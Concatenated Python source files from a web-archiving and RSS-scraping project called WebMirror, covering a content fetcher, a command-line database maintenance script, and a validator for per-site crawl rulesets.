					ret = self.plugin_dispatch(plugin, self.target_url, content, fName, mimeType)
					if not "file" in ret:
						ret['rawcontent'] = content
					return ret

		self.log.error("Did not know how to dispatch request for url: '%s', mimetype: '%s'!", self.target_url, mimeType)
		return self.getEmptyRet()

	########################################################################################################################
	#
	#	########    ###     ######  ##    ##    ########  ####  ######  ########     ###    ########  ######  ##     ## ######## ########
	#	   ##      ## ##   ##    ## ##   ##     ##     ##  ##  ##    ## ##     ##   ## ##      ##    ##    ## ##     ## ##       ##     ##
	#	   ##     ##   ##  ##       ##  ##      ##     ##  ##  ##       ##     ##  ##   ##     ##    ##       ##     ## ##       ##     ##
	#	   ##    ##     ##  ######  #####       ##     ##  ##   ######  ########  ##     ##    ##    ##       ######### ######   ########
	#	   ##    #########       ## ##  ##      ##     ##  ##        ## ##        #########    ##    ##       ##     ## ##       ##   ##
	#	   ##    ##     ## ##    ## ##   ##     ##     ##  ##  ##    ## ##        ##     ##    ##    ##    ## ##     ## ##       ##    ##
	#	   ##    ##     ##  ######  ##    ##    ########  ####  ######  ##        ##     ##    ##     ######  ##     ## ######## ##     ##
	#
	########################################################################################################################

	# # This is the main function that's called by the task management system.
	# # Retreive remote content at `url`, call the appropriate handler for the
	# # transferred content (e.g. is it an image/html page/binary file)
	def fetch(self, preretrieved):

		if not preretrieved:
			self.target_url = url_util.urlClean(self.target_url)
			content, fName, mimeType = self.getItem(self.target_url)
		else:
			content, fName, mimeType = preretrieved

		return self.dispatchContent(content, fName, mimeType)








if __name__ == "__main__":
	import logSetup
	logSetup.initLogging()

import WebMirror.database as db
import datetime
from WebMirror.Engine import SiteArchiver
from concurrent.futures import ThreadPoolExecutor
import sqlalchemy.exc
import traceback
import os
import os.path
import config
import calendar
import json
import WebMirror.OutputFilters.util.feedNameLut as feedNameLut
import urllib.parse
import urllib.error
import WebMirror.rules
import flags
import WebMirror.SiteSync.fetch
from sqlalchemy import or_
from sqlalchemy import and_
import WebMirror.Exceptions
import WebMirror.SpecialCase

from sqlalchemy_continuum.utils import version_table

def print_html_response(archiver, new, ret):
	print("Plain links:")
	for link in ret['plainLinks']:
		print("	'%s'" % link.replace("\n", ""))
	print("Resource links:")
	for link in ret['rsrcLinks']:
		print("	'%s'" % link.replace("\n", ""))

	print()
	print("Filtering")
	badwords = archiver.getBadWords(new)
	filtered = archiver.filterContentLinks(new, ret['plainLinks'], badwords)
	filteredr = archiver.filterContentLinks(new, ret['rsrcLinks'], badwords)

	print("Filtered plain links:")
	for link in filtered:
		print("	'%s'" % link.replace("\n", ""))
	print("Filtered resource links:")
	for link in filteredr:
		print("	'%s'" % link.replace("\n", ""))


def test_retrieve(url, debug=True, rss_debug=False):

	# try:
	# 	WebMirror.SpecialCase.startAmqpFetcher()
	# except RuntimeError:  # Fetcher already started
	# 	pass

	if rss_debug:
		print("Debugging RSS")
		flags.RSS_DEBUG = True

	parsed = urllib.parse.urlparse(url)
	root = urllib.parse.urlunparse((parsed[0], parsed[1], "", "", "", ""))

	new = db.WebPages(
		url       = url,
		starturl  = root,
		netloc    = parsed.netloc,
		distance  = 50000,
		is_text   = True,
		priority  = 500000,
		type      = 'unknown',
		fetchtime = datetime.datetime.now(),
		)

	if debug:
		print(new)

	try:
		archiver = SiteArchiver(None, db.get_db_session(), None)
		job     = archiver.synchronousJobRequest(url, ignore_cache=True)
	except Exception as e:
		traceback.print_exc()
	finally:
		db.delete_db_session()


def test_head(url, referrer):

	try:
		WebMirror.SpecialCase.startAmqpFetcher()
	except RuntimeError:  # Fetcher already started
		pass

	try:
		WebMirror.SpecialCase.blockingRemoteHead(url, referrer)
	except Exception as e:
		traceback.print_exc()
	finally:
		WebMirror.SpecialCase.stopAmqpFetcher()

	print("test_head complete!")


def test_all_rss():
	print("fetching and debugging RSS feeds")
	rules = WebMirror.rules.load_rules()
	feeds = [item['feedurls'] for item in rules]
	feeds = [item for sublist in feeds for item in sublist]

	flags.RSS_DEBUG = True
	with ThreadPoolExecutor(max_workers=8) as executor:
		for url in feeds:
			try:
				executor.submit(test_retrieve, url, debug=False)
			except WebMirror.Exceptions.DownloadException:
				print("failure downloading page!")
			except urllib.error.URLError:
				print("failure downloading page!")

def db_fiddle():
	print("Fixing DB things.")
	print("Getting IDs")
	have = db.get_db_session().execute("""
		SELECT id FROM web_pages WHERE url LIKE 'https://www.wattpad.com/story%' AND state != 'new';
		""")
	print("Query executed. Fetching results")
	have = list(have)
	print(len(have))
	count = 0

	chunk = []
	for item, in have:
		chunk.append(item)

		count += 1
		if count % 1000 == 0:
			statement = db.get_db_session().query(db.WebPages) \
				.filter(db.WebPages.state != 'new')        \
				.filter(db.WebPages.id.in_(chunk))

			# statement = db.get_db_session().update(db.WebPages)
			statement.update({db.WebPages.state : 'new'}, synchronize_session=False)
			chunk = []
			print(count, item)
			db.get_db_session().commit()

def longest_rows():
	print("Getting longest rows from database")
	have = db.get_db_session().execute("""
		SELECT
			id, url, length(content), content
		FROM
			web_pages
		ORDER BY
			LENGTH(content) DESC NULLS LAST
		LIMIT 50;
		""")
	print("Rows:")

	import os
	import os.path

	savepath = "./large_files/"
	for row in have:
		print(row[0], row[1])
		try:
			os.makedirs(savepath)
		except FileExistsError:
			pass
		with open(os.path.join(savepath, "file %s.txt" % row[0]), "wb") as fp:
			urlst = "URL: %s\n\n" % row[1]
			size = "Length: %s\n\n" % row[2]
			fp.write(urlst.encode("utf-8"))
			fp.write(size.encode("utf-8"))
			fp.write("{}".format(row[3]).encode("utf-8"))


def fix_null():
	step = 50000


	end = db.get_db_session().execute("""SELECT MAX(id) FROM web_pages WHERE  ignoreuntiltime IS NULL;""")
	end = list(end)[0][0]

	start = db.get_db_session().execute("""SELECT MIN(id) FROM web_pages WHERE ignoreuntiltime IS NULL;""")
	start = list(start)[0][0]

	changed = 0

	if not start:
		print("No null rows to fix!")
		return

	start = start - (start % step)

	for x in range(start, end, step):
		# SQL String munging! I'm a bad person!
		# Only done because I can't easily find how to make sqlalchemy
		# bind parameters ignore the postgres specific cast
		# The id range forces the query planner to use a much smarter approach which is much more performant for small numbers of updates
		have = db.get_db_session().execute("""UPDATE web_pages SET ignoreuntiltime = 'epoch'::timestamp WHERE ignoreuntiltime IS NULL AND id < %s AND id >= %s;""" % (x, x-step))
		# print()
		print('%10i, %7.4f, %6i' % (x, x/end * 100, have.rowcount))
		changed += have.rowcount
		if changed > 10000:
			print("Committing (%s changed rows)...." % changed, end=' ')
			db.get_db_session().commit()
			print("done")
			changed = 0
	db.get_db_session().commit()


def fix_tsv():
	step = 1000


	print("Determining extents that need to be changed.")
	start = db.get_db_session().execute("""SELECT MIN(id) FROM web_pages WHERE tsv_content IS NULL AND content IS NOT NULL AND id != 60903982;""")
	start = list(start)[0][0]

	end = db.get_db_session().execute("""SELECT MAX(id) FROM web_pages WHERE tsv_content IS NULL AND content IS NOT NULL;""")
	end = list(end)[0][0]

	changed = 0
	print("Start: ", start)
	print("End: ", end)


	if not start:
		print("No null rows to fix!")
		return

	start = start - (start % step)

	for x in range(start, end, step):
		try:
			# SQL String munging! I'm a bad person!
			# Only done because I can't easily find how to make sqlalchemy
			# bind parameters ignore the postgres specific cast
			# The id range forces the query planner to use a much smarter approach which is much more performant for small numbers of updates
			have = db.get_db_session().execute("""UPDATE web_pages SET tsv_content = to_tsvector(coalesce(content)) WHERE tsv_content IS NULL AND content IS NOT NULL AND id < %s AND id >= %s;""" % (x, x-step))
			# print()
			print('%10i, %10i, %7.4f, %6i' % (x, end, (x-start)/(end-start) * 100, have.rowcount))
			changed += have.rowcount
			if changed > step:
				print("Committing (%s changed rows)...." % changed, end=' ')
				db.get_db_session().commit()
				print("done")
				changed = 0
		except sqlalchemy.exc.OperationalError:
			db.get_db_session().rollback()
			print("Error!")
			traceback.print_exc()

	db.get_db_session().commit()


def disable_wattpad():
	step = 50000


	print("Determining extents that need to be changed.")
	start = db.get_db_session().execute("""
		SELECT
			MIN(id)
		FROM
			web_pages
		WHERE
			(netloc = 'www.wattpad.com' OR netloc = 'a.wattpad.com')
		;""")

	start = list(start)[0][0]
	print("Start: ", start)

	end = db.get_db_session().execute("""
		SELECT
			MAX(id)
		FROM
			web_pages
		WHERE
			(netloc = 'www.wattpad.com' OR netloc = 'a.wattpad.com')
		;""")
	end = list(end)[0][0]

	changed = 0
	print("End: ", end)


	if not start:
		print("No null rows to fix!")
		return

	start = start - (start % step)

	for x in range(start, end, step):
		try:
			# SQL String munging! I'm a bad person!
			# Only done because I can't easily find how to make sqlalchemy
			# bind parameters ignore the postgres specific cast
			# The id range forces the query planner to use a much smarter approach which is much more performant for small numbers of updates
			have = db.get_db_session().execute("""
				UPDATE
					web_pages
				SET
					state = 'disabled'
				WHERE
						(netloc = 'www.wattpad.com' OR netloc = 'a.wattpad.com')
					AND
						(state = 'new' OR state = 'fetching' OR state = 'processing')
					AND
						id < %s
					AND
						id >= %s;""" % (x, x-step))
			# print()
			print('%10i, %10i, %10i, %7.4f, %6i' % (start, x, end, (x-start)/(end-start) * 100, have.rowcount))
			changed += have.rowcount
			if changed > step / 2:
				print("Committing (%s changed rows)...." % changed, end=' ')
				db.get_db_session().commit()
				print("done")
				changed = 0
		except sqlalchemy.exc.OperationalError:
			db.get_db_session().rollback()
			print("Error!")
			traceback.print_exc()

	db.get_db_session().commit()


def clear_bad():
	from sqlalchemy.dialects import postgresql

	rules = WebMirror.rules.load_rules()

	for ruleset in rules:

		print("Cleaning ruleset")
		# print(ruleset['netlocs'])
		# print(ruleset.keys())
		for badword in ruleset['badwords']:
			if not ruleset['netlocs']:
				continue
			if "%" in badword:
				print(badword)
			else:
				print("Deleting items containing string: '%s'" % badword)
				q = db.get_db_session().query(db.WebPages)                   \
					.filter(db.WebPages.netloc.in_(ruleset['netlocs']))   \
					.filter(db.WebPages.url.like("%{}%".format(badword)))
				items = q.count()
				if items:
					print("%s results for : '%s'" % (items, badword))

					q = db.get_db_session().query(db.WebPages)                   \
						.filter(db.WebPages.netloc.in_(ruleset['netlocs']))   \
						.filter(db.WebPages.url.like("%{}%".format(badword))) \
						.delete(synchronize_session=False)
					db.get_db_session().commit()



def delete_comment_feed_items():

	sess = db.get_db_session()
	bad = sess.query(db.FeedItems) \
			.filter(or_(
				db.FeedItems.contenturl.like("%#comment-%"),
				db.FeedItems.contenturl.like("%CommentsForInMyDaydreams%"),
				db.FeedItems.contenturl.like("%www.fanfiction.net%"),
				db.FeedItems.contenturl.like("%www.fictionpress.com%"),
				db.FeedItems.contenturl.like("%www.booksie.com%")))    \
			.order_by(db.FeedItems.contenturl) \
			.all()

	count = 0
	for bad in bad:
		print(bad.contenturl)

		while bad.author:
			bad.author.pop()
		while bad.tags:
			bad.tags.pop()
		sess.delete(bad)
		count += 1
		if count % 1000 == 0:
			print("Committing at %s" % count)
			sess.commit()

	print("Done. Committing...")
	sess.commit()



def update_feed_names():
	for key, value in feedNameLut.mapper.items():
		feed_items = db.get_db_session().query(db.FeedItems) \
				.filter(db.FeedItems.srcname == key)    \
				.all()
		if feed_items:
			for item in feed_items:
				item.srcname = value
			print(len(feed_items))
			print(key, value)
			db.get_db_session().commit()


def purge_invalid_urls(selected_netloc=None):


	sess = db.get_db_session()
	for ruleset in WebMirror.rules.load_rules():

		if      (
						(ruleset['netlocs'] and ruleset['badwords'])
					and
					(
						(ruleset['netlocs'] and ruleset['badwords'] and selected_netloc is None)
						or
						(selected_netloc != None and selected_netloc in ruleset['netlocs'])
					)
				):
			# We have to delete from the normal table before the versioning table,
			# because deleting from the normal table causes inserts into the versioning table
			# due to the change tracking triggers.

			count = 1

			loc = and_(
					db.WebPages.netloc.in_(ruleset['netlocs']),
					or_(*(db.WebPages.url.like("%{}%".format(badword)) for badword in ruleset['badwords']))
				)
			# print("Doing count on table ")
			# count = sess.query(db.WebPages) \
			# 	.filter(or_(*opts)) \
			# 	.count()


			if count == 0:
				print("{num} items match badwords from file {file}. No deletion required ".format(file=ruleset['filename'], num=count))
			else:
				print("{num} items match badwords from file {file}. Deleting ".format(file=ruleset['filename'], num=count))

				sess.query(db.WebPages) \
					.filter(or_(*loc)) \
					.delete(synchronize_session=False)


			# # Do the delete from the versioning table now.
			ctbl = version_table(db.WebPages)
			loc2 = and_(
					ctbl.c.netloc.in_(ruleset['netlocs']),
					or_(*(ctbl.c.url.like("%{}%".format(badword)) for badword in ruleset['badwords']))
				)
			# print("Doing count on Versioning table ")
			# count = sess.query(ctbl) \
			# 	.filter(or_(*opts)) \
			# 	.count()

			if count == 0:
				print("{num} items in versioning table match badwords from file {file}. No deletion required ".format(file=ruleset['filename'], num=count))
			else:
				print("{num} items in versioning table match badwords from file {file}. Deleting ".format(file=ruleset['filename'], num=count))

				sess.query(ctbl) \
					.filter(or_(*loc2)) \
					.delete(synchronize_session=False)



			sess.commit()


		# print(ruleset['netlocs'])
		# print(ruleset['badwords'])




# Re-order the missed file list by order of misses.
def sort_json(json_name):
	with open(json_name) as fp:
		cont = fp.readlines()
	print("Json file has %s lines." % len(cont))

	data = {}
	for line in cont:
		val = json.loads(line)
		name = val['SourceName']
		if not name in data:
			data[name] = []

		data[name].append(val)
	out = []
	for key in data:

		out.append((data[key][0]['Have Func'], len(data[key]), data[key]))

	out.sort(key=lambda x: (x[0], x[1]*-1))
	out.sort(key=lambda x: (x[1]*-1))

	key_order = [
		"Have Func",
		"SourceName",
		"Title",
		"Tags",
		"Feed URL",
		"Vol",
		"Chp",
		"Frag",
		"Postfix",
		"GUID",
	]

	outf = json_name+".pyout"
	try:
		os.unlink(outf)
	except FileNotFoundError:
		pass

	with open(outf, "w") as fp:
		for item in out:
			# print(item[1])
			for value in item[2]:
				for key in key_order:
					fp.write("%s, " % ((key, value[key]), ))
				fp.write("\n")

# Re-order the missed file list by order of misses.
def sort_thing(json_name):
	with open(json_name) as fp:
		cont = fp.readlines()
	print("Json file has %s lines." % len(cont))

	data = {}
	for line in cont:
		val = json.loads(line.replace("'", '"'))
		name = val['nu_release']['groupinfo']
		if not name in data:
			data[name] = []

		data[name].append(val)
	out = []
	for key in data:
		out.append((len(data[key]), data[key]))

	out.sort(key=lambda x: (x[0], x[1]*-1))
	out.sort(key=lambda x: (x[1]*-1))

	key_order = [
		'groupinfo',
		'seriesname',
		'releaseinfo',
		'actual_target',
		'addtime',
		'outbound_wrapper',
		'referrer',
	]

	outf = json_name+".pyout"
	try:
		os.unlink(outf)
	except FileNotFoundError:
		pass

	with open(outf, "w") as fp:
		for item in out:
			# print(item[1])
			for value in item[1]:
				for key in key_order:
					fp.write("%s, " % ((key, value['nu_release'][key]), ))
				fp.write("\n")

def rss_db_sync(target = None, days=False, silent=False):

	json_file = 'rss_filter_misses-1.json'

	write_debug = True
	if silent:
		config.C_DO_RABBIT = False
	if target:
		config.C_DO_RABBIT = False
		flags.RSS_DEBUG    = True
		write_debug = False
	else:
		try:
			os.unlink(json_file)
		except FileNotFoundError:
			pass

	import WebMirror.processor.RssProcessor
	parser = WebMirror.processor.RssProcessor.RssProcessor(loggerPath   = "Main.RssDb",
															pageUrl     = 'http://www.example.org',
															pgContent   = '',
															type        = 'application/atom+xml',
															transfer    = False,
															debug_print = True,
															db_sess = None,
															write_debug = write_debug)


	print("Getting feed items....")

	if target:
		print("Limiting to '%s' source." % target)
		feed_items = db.get_db_session().query(db.FeedItems) \
				.filter(db.FeedItems.srcname == target)    \
				.order_by(db.FeedItems.srcname)           \
				.order_by(db.FeedItems.title)           \
				.all()
	elif days:
		print("RSS age override: ", days)
		cutoff = datetime.datetime.now() - datetime.timedelta(days=days)
		feed_items = db.get_db_session().query(db.FeedItems) \
				.filter(db.FeedItems.published > cutoff)  \
				.order_by(db.FeedItems.srcname)           \
				.order_by(db.FeedItems.title)             \
				.all()
	else:
		feed_items = db.get_db_session().query(db.FeedItems) \
				.order_by(db.FeedItems.srcname)           \
				.order_by(db.FeedItems.title)           \
				.all()


	print("Feed items: ", len(feed_items))

	for item in feed_items:
		ctnt = {}
		ctnt['srcname']   = item.srcname
		ctnt['title']     = item.title
		ctnt['tags']      = item.tags
		ctnt['linkUrl']   = item.contenturl
		ctnt['guid']      = item.contentid
		ctnt['published'] = calendar.timegm(item.published.timetuple())

		# Pop()ed off in processFeedData().
		ctnt['contents']  = 'wat'

		try:
			parser.processFeedData(ctnt, tx_raw=False, tx_parse=not bool(days))
		except ValueError:
			pass
		# print(ctnt)
	if target == None:
		sort_json(json_file)

def clear_blocked():
	for ruleset in WebMirror.rules.load_rules():
		if ruleset['netlocs'] and ruleset['badwords']:
			# mask = [db.WebPages.url.like("%{}%".format(tmp)) for tmp in ruleset['badwords'] if not "%" in tmp]

			for badword in ruleset['badwords']:
				feed_items = db.get_db_session().query(db.WebPages)          \
					.filter(db.WebPages.netloc.in_(ruleset['netlocs']))   \
					.filter(db.WebPages.url.like("%{}%".format(badword))) \
					.count()

				if feed_items:
					print("Have:  ", feed_items, badword)
					feed_items = db.get_db_session().query(db.WebPages)          \
						.filter(db.WebPages.netloc.in_(ruleset['netlocs']))   \
						.filter(db.WebPages.url.like("%{}%".format(badword))) \
						.delete(synchronize_session=False)
					db.get_db_session().expire_all()

				else:
					print("Empty: ", feed_items, badword)
			# print(mask)
			# print(ruleset['netlocs'])
			# print(ruleset['badwords'])


def filter_links(path):
	if not os.path.exists(path):
		raise IOError("File at path '%s' doesn't exist!" % path)

	with open(path, "r") as fp:
		urls = fp.readlines()
	urls = [item.strip() for item in urls if item.strip()]

	# print(urls)

	havestarts = []
	for ruleset in WebMirror.rules.load_rules():
		if ruleset['starturls']:
			havestarts += ruleset['starturls']

	for item in urls:
		if item not in havestarts:
			print(item)

def missing_lut():
	import WebMirror.OutputFilters.util.feedNameLut as fnl
	rules = WebMirror.rules.load_rules()
	feeds = [item['feedurls'] for item in rules]
	feeds = [item for sublist in feeds for item in sublist]
	# feeds = [urllib.parse.urlsplit(tmp).netloc for tmp in feeds]
	for feed in feeds:
		if not fnl.getNiceName(feed):
			print("Missing: ", urllib.parse.urlsplit(feed).netloc)

def delete_feed(feed_name, do_delete, search_str):

	sess = db.get_db_session()
	items = sess.query(db.FeedItems)               \
		.filter(db.FeedItems.srcname == feed_name) \
		.all()

	do_delete = "true" in do_delete.lower()

	searchitems = search_str.split("|")
	for item in items:
		itemall = " ".join([item.title] + item.tags)
		if all([searchstr in itemall for searchstr in searchitems]):
			print(itemall)
			if do_delete:
				print("Deleting item")
				sess.delete(item)

	sess.commit()

def consolidate_history():

	sess = db.get_db_session()
	print("Doing select")
	end = sess.execute("""
			SELECT
				count(*), url
			FROM
				web_pages_version
			GROUP BY
				url
			HAVING
				COUNT(*) > 1
			LIMIT
				40
		""")
	print("Wut?")
	print(end)


def decode(*args):
	print("Args:", args)

	if len(args) == 1:
		op = args[0]
		print("Single arg op: '%s'" % op )
		if op == "rss":
			test_all_rss()
		elif op == "sync":
			WebMirror.SiteSync.fetch.fetch_other_sites()
		elif op == "rss-del-comments":
			delete_comment_feed_items()
		elif op == "db-fiddle":
			db_fiddle()
		elif op == "rss-name":
			update_feed_names()
		elif op == "purge-from-rules":
			purge_invalid_urls()
		elif op == "longest-rows":
			longest_rows()
		elif op == "disable-wattpad":
			disable_wattpad()
		elif op == "fix-null":
			fix_null()
		elif op == "missing-lut":
			missing_lut()
		elif op == "fix-tsv":
			fix_tsv()
		elif op == "clear-bad":
			clear_bad()
		elif op == "rss-db":
			rss_db_sync()
		elif op == "consolidate-history":
			consolidate_history()
		elif op == "rss-db-silent":
			rss_db_sync(silent=True)
		elif op == "sort-json":
			sort_json('rss_filter_misses-1.json')
		elif op == "sort-txt":
			sort_thing('nu_missing_releases.txt')
		elif op == "rss-day":
			rss_db_sync(days=1)
		elif op == "rss-week":
			rss_db_sync(days=7)
		elif op == "rss-month":
			rss_db_sync(days=45)
		elif op == "clear-blocked":
			clear_blocked()
		else:
			print("ERROR: Unknown command!")

	if len(args) == 2:
		op  = args[0]
		tgt = args[1]

		if op == "fetch":
			print("Fetch command! Retreiving content from URL: '%s'" % tgt)
			test_retrieve(tgt)
		elif op == "rss-db":
			rss_db_sync(tgt)
		elif op == "purge-from-rules":
			purge_invalid_urls(tgt)
		elif op == "fetch-silent":
			print("Fetch command! Retreiving content from URL: '%s'" % tgt)
			test_retrieve(tgt, debug=False)
		elif op == "fetch-rss":
			print("Fetch command! Retreiving content from URL: '%s'" % tgt)
			test_retrieve(tgt, debug=False, rss_debug=True)

		elif op == "filter-new-links":
			print("Filtering new links from file: '%s'" % tgt)
			filter_links(tgt)

		else:
			print("ERROR: Unknown command!")

	if len(args) == 3:
		op  = args[0]
		param1 = args[1]
		param2 = args[2]
		if op == "head":
			print("Test HEAD command! Retreiving actual path from URL: '%s'" % param1)
			test_head(param1, param2)

	if len(args) == 4:
		if args[0] == "delete-feed":
			delete_feed(args[1], args[2], args[3])


if __name__ == "__main__":
	import sys
	if len(sys.argv) < 2:

		print("you must pass a operation to execute!")
		print("Current actions:")

		print('	clear-bad')
		print('	clear-blocked')
		print('	db-fiddle')
		print('	disable-wattpad')
		print('	fix-null')
		print('	fix-tsv')
		print('	longest-rows')
		print('	missing-lut')
		print('	purge-from-rules')
		print('	rss-day')
		print('	rss-db')
		print('	rss-db-silent')
		print('	rss-del-comments')
		print('	rss-month')
		print('	rss-name')
		print('	rss-week')
		print('	sort-json')
		print('	sync')
		print('	rss')
		print('	sort-txt')
		print('	consolidate-history')

		print('	rss-db {feedname}')
		print('	fetch {url}')
		print('	fetch-silent {url}')
		print('	fetch-rss {url}')
		print('	filter-new-links {file-path}')
		print('	delete-feed {feed name} {do delete (true/false)} {search term}')

		sys.exit(1)

	decode(*sys.argv[1:])
	# test_retrieve("http://www.royalroadl.com/fiction/1484")










import traceback
import os
import sys
import os.path
import yaml
import flags
import urllib.parse

class ValidationError(Exception):
	pass

def getStartURLs(ruleset):
	if not 'baseUrl' in ruleset:
		raise ValidationError("No 'baseUrl' values in ruleset!")
	ret = []

	# Allow the special-case "Generic" ruleset, which matches all
	# sites not matched by a more specific case.
	if ruleset['baseUrl'] == 'None':
		return None

	if not isinstance(ruleset['baseUrl'], list):
		print("BaseUrl type:", type(ruleset['baseUrl']))
		raise ValidationError("'baseUrl' is not a list!")
	ret += ruleset['baseUrl']

	if 'extraStartUrls' in ruleset:
		if not isinstance(ruleset['extraStartUrls'], list):
			raise ValidationError("'extraStartUrls' is not a list!")
		ret += ruleset['extraStartUrls']
	ret.sort()
	return ret

def getFeedUrls(ruleset):
	if 'feedPostfix' in ruleset:
		assert 'feeds' not in ruleset
		assert isinstance(ruleset['feedPostfix'], str)
		feeds = [url+ruleset['feedPostfix'] for url in ruleset['baseUrl']]
		return feeds

	if 'feeds' in ruleset:
		assert 'feedPostfix' not in ruleset
		assert isinstance(ruleset['feeds'], list)
		return ruleset['feeds']

	return []

def getUrlBadWords(ruleset):
	assert 'badwords' in ruleset
	assert isinstance(ruleset['badwords'], list)
	return ruleset['badwords']

def getStripTitle(ruleset):
	if not 'stripTitle' in ruleset:
		return []
	assert isinstance(ruleset['stripTitle'], list)
	return ruleset['stripTitle']

def getDecomposeBefore(ruleset):
	if not 'decomposeBefore' in ruleset:
		return []
	assert isinstance(ruleset['decomposeBefore'], list)
	for item in ruleset['decomposeBefore']:
		assert isinstance(item, dict)
	return ruleset['decomposeBefore']

def getDecomposeAfter(ruleset):
	assert 'decompose' in ruleset
	assert isinstance(ruleset['decompose'], list)
	for item in ruleset['decompose']:
		assert isinstance(item, dict)
	return ruleset['decompose']

def getFileDomains(ruleset, extant):
	if not 'fileDomains' in ruleset and not extant:
		return []
	if not 'fileDomains' in ruleset:
		return extant
	assert isinstance(ruleset['fileDomains'], list)
	for item in ruleset['fileDomains']:
		assert isinstance(item, str)

	return ruleset['fileDomains']+extant

def getDestyles(ruleset):
	if not 'destyle' in ruleset:
		return []
	assert isinstance(ruleset['destyle'], list)
	for item in ruleset['destyle']:
		assert isinstance(item, list)
		assert len(item) == 2
		assert isinstance(item[0], str)
		assert isinstance(item[1], dict)
	return ruleset['destyle']

def getPreserveAttrs(ruleset):
	if not 'preserveAttrs' in ruleset:
		return []
	assert isinstance(ruleset['preserveAttrs'], list)
	for item in ruleset['preserveAttrs']:
		assert isinstance(item, list)
		assert len(item) == 2
		assert isinstance(item[0], str)
		assert isinstance(item[1], str)
	return ruleset['preserveAttrs']


def getPossibleNetLocs(ruleset):
	'''
	Given the set of start URLs, and (if present) a set of
	allowed TLDs, generate a comprehensive set of possible allowable
	TLDs that the scrape can walk to.
	'''

	if ruleset['baseUrl'] == 'None':
		return None

	inTlds = set()
	if 'tld' in ruleset and ruleset['tld']:
		assert isinstance(ruleset['tld'], list)
		inTlds = set(ruleset['tld'])


	inList = set()
	for url in ruleset['baseUrl']:
		inList.add(url)

	TLDs = set([urllib.parse.urlsplit(url.lower()).netloc.rsplit(".")[-1] for url in inList])
	TLDs = TLDs | inTlds


	def genBaseUrlPermutations(url):


		netloc = urllib.parse.urlsplit(url.lower()).netloc
		if not netloc:
			raise ValueError("One of the scanned domains collapsed down to an empty string: '%s'!" % url)
		ret = set()
		# Generate the possible wordpress netloc values.
		if 'wordpress.com' in netloc:
			subdomain, mainDomain, tld = netloc.rsplit(".")[-3:]

			ret.add("www.{sub}.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))
			ret.add("{sub}.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))
			ret.add("www.{sub}.files.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))
			ret.add("{sub}.files.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))

		# Blogspot is annoying and sometimes a single site is spread over several tlds. *.com, *.sg, etc...
		if 'blogspot.' in netloc:
			subdomain, mainDomain, dummy_tld = netloc.rsplit(".")[-3:]
			for tld in TLDs:
				ret.add("www.{sub}.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))
				ret.add("{sub}.{main}.{tld}".format(sub=subdomain, main=mainDomain, tld=tld))


		elif 'google.' in netloc:
			pass

		else:

			base, dummy_tld = netloc.rsplit(".", 1)
			for tld in TLDs:
				ret.add("{main}.{tld}".format(main=base, tld=tld))
				# print(ret)
		return ret

	retSet = set()
	for url in inList:
		items = genBaseUrlPermutations(url)
		retSet.update(items)

	if 'FOLLOW_GOOGLE_LINKS' in ruleset and ruleset['FOLLOW_GOOGLE_LINKS']:
		retSet.add('https://docs.google.com/document/')
		retSet.add('https://docs.google.com/spreadsheets/')
		retSet.add('https://drive.google.com/folderview')
		retSet.add('https://drive.google.com/open')

	# Filter out spurious 'blogspot.com.{TLD}' entries that are getting in somehow
	ret = [item for item in retSet if not item.startswith('blogspot.com')]

	return ret

def getAllImages(ruleset):
	if not 'allImages' in ruleset:
		return False
	return ruleset['allImages']

def getCloudflare(ruleset):
	if not 'cloudflare' in ruleset:
		return False
	return ruleset['cloudflare']

def getTrigger(ruleset):
	if not 'trigger' in ruleset:
		return True
	return ruleset['trigger']

def getRefetch(ruleset):
	if not 'normal_fetch_mode' in ruleset:
		return True
	return ruleset['normal_fetch_mode']

def getDisallowDuplicatePathComponents(ruleset):
	if not 'disallow_duplicate_path_segments' in ruleset:
		return True
	return ruleset['disallow_duplicate_path_segments']

def getIgnoreMalformed(ruleset):
	if not 'IGNORE_MALFORMED_URLS' in ruleset:
		return False
	return ruleset['IGNORE_MALFORMED_URLS']

def getGenreType(ruleset):
	assert 'type' in ruleset, "Type missing from ruleset!"
	assert ruleset['type'] in ['western', 'eastern', 'unknown']
	return ruleset['type']

def getSpecialFilters(ruleset):
	ret = {}
	if "special_case_filters" in ruleset:
		for netloc, params in ruleset['special_case_filters'].items():
			ret[netloc] = params
	return ret

def getAttributeRewriteRules(ruleset):
	if not 'rewriteAttrs' in ruleset:
		return False
	return ruleset['rewriteAttrs']

def getRewalkIntervalDays(ruleset):
	if not 'rewalk_interval_days' in ruleset:
		return False
	ret = ruleset['rewalk_interval_days']
	assert ret > 3
	return ret


def transmitFeeds(ruleset):
	assert 'send_raw_feed' in ruleset, "'send_raw_feed' flag missing from ruleset!"

	return bool(ruleset['send_raw_feed'])


def checkBadValues(ruleset):
	assert 'wg' not in ruleset
	assert 'threads' not in ruleset
	assert 'startUrl' not in ruleset
	assert 'tableKey' not in ruleset
	assert 'pluginName' not in ruleset
	assert 'loggerPath' not in ruleset


def validateRuleKeys(dat, fname):
	checkBadValues(dat)
	keys = list(dat.keys())
	# print(keys)
	valid = [
		'badwords',

		'decompose',
		'decomposeBefore',

		'baseUrl',
		'feeds',
		'feedPostfix',
		'stripTitle',
		'tld',
		'FOLLOW_GOOGLE_LINKS',
		'allImages',
		'cloudflare',
		'fileDomains',
		'destyle',
		'preserveAttrs',
		'type',
		'extraStartUrls',
		'trigger',

		'normal_fetch_mode',
		'send_raw_feed',
		'special_case_filters',

		'rewriteAttrs',
		'rewalk_interval_days',
		'disallow_duplicate_path_segments',

		# Not currently implemented, but useful
		'titleTweakLut',
		]
	for key in keys:
		assert key in valid, "Key '%s' from ruleset '%s' is not valid!" % (key, fname)


def load_validate_rules(fname, dat):

	validateRuleKeys(dat, fname)


	rules = {}
	rules['starturls']             = getStartURLs(dat)
	rules['attrRewriteRules']      = getAttributeRewriteRules(dat)
	rules['feedurls']              = getFeedUrls(dat)

	rules['badwords']              = getUrlBadWords(dat)
	rules['stripTitle']            = getStripTitle(dat)
	rules['decomposeBefore']       = getDecomposeBefore(dat)
	rules['decompose']             = getDecomposeAfter(dat)
	rules['netlocs']               = getPossibleNetLocs(dat)

	rules['allImages']             = getAllImages(dat)
	rules['fileDomains']           = getFileDomains(dat, rules['netlocs'])
	rules['cloudflare']            = getCloudflare(dat)
	rules['IGNORE_MALFORMED_URLS'] = getIgnoreMalformed(dat)
